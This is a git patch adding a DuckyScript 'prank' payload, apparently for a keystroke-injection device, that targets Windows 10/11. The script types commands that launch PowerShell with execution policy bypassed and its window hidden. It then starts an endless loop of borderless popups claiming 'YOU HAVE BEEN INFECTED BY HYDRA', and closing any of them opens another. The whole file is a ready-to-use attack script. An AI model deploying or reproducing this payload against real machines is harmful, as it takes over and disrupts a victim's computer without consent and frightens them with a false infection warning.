From e1fd286f27d7d5d693ceb07c57e00f5f3ca0f2fc Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Mon, 27 Nov 2023 11:53:10 +0000 Subject: [PATCH] Add files via upload --- Pranks/Hydra-in-Powershell.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 Pranks/Hydra-in-Powershell.txt diff --git a/Pranks/Hydra-in-Powershell.txt b/Pranks/Hydra-in-Powershell.txt new file mode 100644 index 0000000..febf167 --- /dev/null +++ b/Pranks/Hydra-in-Powershell.txt @@ -0,0 +1,16 @@ +REM Title: Hydra In Powershell +REM Author: @beigeworm | https://github.com/beigeworm +REM Description: Uses Powershell to display a popup that if closed, opens 2 more identical windows, thus soon creating many popups! +REM Target: Windows 10,11 + +DEFAULT_DELAY 100 + +REM open powershell (remove -W Hidden to show the window) +GUI r +DELAY 750 +STRING powershell -NoP -NonI -Exec Bypass +ENTER +DELAY 5000 + +STRING $Import = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);';add-type -name win -member $Import -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);Add-Type -AssemblyName System.Windows.Forms;function Create-Form {$form = New-Object Windows.Forms.Form;$form.Text = " __--** YOU HAVE BEEN INFECTED BY HYDRA **--__ ";$form.Font = 'Microsoft Sans Serif,12,style=Bold';$form.Size = New-Object Drawing.Size(300, 170);$form.StartPosition = 'Manual';$form.BackColor = [System.Drawing.Color]::Black;$form.FormBorderStyle = [System.Windows.Forms.FormBorderStyle]::FixedDialog;$form.ControlBox = $false;$form.Font = 'Microsoft Sans Serif,12,style=bold';$form.ForeColor = "#FF0000";$Text = New-Object Windows.Forms.Label;$Text.Text = "Cut The Head Off The Snake..`n`n ..Two More Will Appear";$Text.Font = 'Microsoft Sans Serif,14';$Text.AutoSize = $true;$Text.Location = New-Object System.Drawing.Point(15, 20);$Close = New-Object Windows.Forms.Button;$Close.Text = "Close?";$Close.Width = 120;$Close.Height = 35;$Close.BackColor = [System.Drawing.Color]::White;$Close.ForeColor = [System.Drawing.Color]::Black;$Close.DialogResult = [System.Windows.Forms.DialogResult]::OK;$Close.Location = New-Object System.Drawing.Point(85, 100);$Close.Font = 'Microsoft Sans Serif,12,style=Bold';$form.Controls.AddRange(@($Text, $Close));return $form};while($true){$form = Create-Form;$form.StartPosition = 'Manual';$form.Location = New-Object System.Drawing.Point((Get-Random -Minimum 0 -Maximum 1000), (Get-Random -Minimum 0 -Maximum 1000));$result = $form.ShowDialog();if ($result -eq [System.Windows.Forms.DialogResult]::OK) {$form2 = Create-Form;$form2.StartPosition = 'Manual';$form2.Location = New-Object System.Drawing.Point((Get-Random -Minimum 0 -Maximum 1000), (Get-Random -Minimum 0 -Maximum 1000));$form2.Show()}$random = (Get-Random -Minimum 0 -Maximum 2);Sleep $random} +ENTER